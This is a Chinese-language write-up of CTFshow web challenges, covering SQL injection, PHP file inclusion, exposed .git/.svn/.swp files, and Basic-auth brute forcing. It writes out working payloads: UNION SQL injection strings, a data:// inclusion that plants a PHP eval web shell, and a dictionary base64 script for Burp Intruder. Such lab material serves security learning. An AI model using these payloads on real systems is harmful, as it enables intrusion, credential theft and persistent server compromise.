CTFSHOW的web部分writeup


WEB2-SQL注入

題目提示是簡單的SQL注入,於是嘗試輸入點中使用萬能密碼:admin'or 1=1#(CTF中SQL萬能密碼集合發現成功執行,於是

image

order by查找回顯數

username=ctfshow' order by 3 #&password=1

image

image


在3時正常回顯,4是無回顯,說明回顯數為3
使用union select 聯合查詢爆庫名

username=ctfshow' union select 1,database(),3#&password=1

image

發現數據庫是web2,繼續爆表名:

username=ctfshow' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #&password=1

爆字段:

username=ctfshow' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'#&password=1

爆flag;

username=ctfshow' union select 1,group_concat(flag),3 from flag #&password=1

image

web3-文件包含漏洞

打開網站提示輸入url,測試/etc/passwd成功顯示,應為文件包含漏洞
在這里插入圖片描述
第一種方法:
php偽協議中的data通過通配符查找目錄下的所有文件

==url=data://text/plain,<?php print_r(glob("*")); ?>==
在這里插入圖片描述
在這里插入圖片描述
得到 ctf_go_go_go
直接訪問得flag

第二種方法:

寫入一句話菜刀連接
==url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>==
在這里插入圖片描述
附:常見的php偽協議及用法:https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427
在這里插入圖片描述


web入門題

WEB3-phps可以讀取源碼

地址欄phps可以讀取php源碼,得到flag

web7-git泄露-/.git

提示版本控制很重要,但不要部署到生產環境更重要。

關於版本控制,首先想到的是git泄露,訪問/.git,得到flag

web8-git泄露-/.svn

提示內容和web7一樣,除了git泄露以外,還存在svn泄露,訪問/.svn得到flag

web9-vim編輯會生成index.php.swp

提示發現網頁有個錯別字?趕緊在生產環境vim改下,不好,死機了

當我們在使用vim編輯的時候,vim會在被編輯文件同一目錄下,創建一個名為filename.swp的文件,記錄我們的動作,比如在編輯index.php的時候會存在一個index.php.swp的文件,訪問/index.php.swp下載文件得到flag

web14-通過編輯器文件

提示有時候源碼里面就能不經意間泄露重要(editor)的信息,默認配置害死人

訪問/editor

點擊插入文件(第二排倒數第十個)選擇文件空間

在tmp/html/nothinghere文件夾中找到fl000g.txt,插入文件后會顯示路徑/editor/attached/file/tmp/html/nothinghere/fl000g.txt

訪問nothinghere/fl000g.txt得到flag

web16-php探針

又學到一個新東西,/tz.php,找到phpinfo 點進去搜索flag

web21-brup爆破需要編碼,Authorization: Basic

1.打開題目,點擊click

技術圖片

2.下載附件后,發現是一個密碼字典,考慮該題為賬號密碼爆破

技術圖片

3.根據基礎認證相關知識,Burp打開,輸入admin/admin看下登錄請求

技術圖片

4.將YWRtaW46YWRtaW4=解密內容為:admin:admin

技術圖片

5.需要使用python編寫腳本將密碼加密,腳本如下:

#! /usr/bin/env python3
# _*_  coding:utf-8 _*_
import base64

# 字典文件路徑
dic_file_path = ‘./10_million_password_list_top_100.txt‘
with open(dic_file_path, ‘r‘) as f:
    password_dic = f.readlines()

username = ‘admin:‘ # 用戶名
for password in password_dic:
    str1=str.encode(username + password.strip())
    encodestr = base64.b64encode(str1)
    encodestr=str(encodestr)
    encodestr=encodestr.strip(‘b\‘‘)
    encodestr=encodestr.replace("=","\=")   #避免“=”被轉譯
    print(encodestr)

運行腳本,結果如下:

技術圖片

6.將結果導出保存為password.txt

7.Action將請求包發送至爆破模塊,設置Payload positions選擇Authorization: Basic后內容,字典選擇剛才保存的password.txt

技術圖片

技術圖片

8.可以看到返回包長度里面有一個是394,跟其他的不同,查看其響應包,發現flag

技術圖片

還有一種方法,不使用腳本,直接使用Burp內置decode功能,方法如下:

1.將請求包發送到Decoder模塊,選擇需要解密的內容,decode as設置成base64解碼

技術圖片

2.請求包發送至Intruder模塊,將需要爆破的密文給Add §

技術圖片3.設置payloads,導入附件中的字典,在payload processing中設置Prefix添加前綴admin:,設置Base64-encode使用base64加密該前綴

技術圖片

4.點擊Start attack開始,最終發現一返回包狀態碼為200,數據長度為394,在返回包中發現flag

技術圖片

避坑提示:

在做這個題目時,采用第一種方法一直無法獲取flag,后經參考資料,發現payloads設置里payload encodeing設置里前面的勾要去掉,不然會將base64里“=”編碼,導致錯誤

技術圖片

web25-使用php_mt_seed爆破種子,然后提交

首先將r賦值獲取一個隨機數

使用命令time ./php_mt_seed 1410783733爆破

image

通過php在線平台編輯得到r和token並提交

  1 <?php
  2 mt_srand(1208098864);
  3 echo(mt_rand());
  4 echo PHP_EOL;
  5 echo(mt_rand()+mt_rand());//剛開始這里沒有加括號導致不對
  6 if(!0){
  7     echo('a');
  8 }
  9 ?>
 10 
 11 

image


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM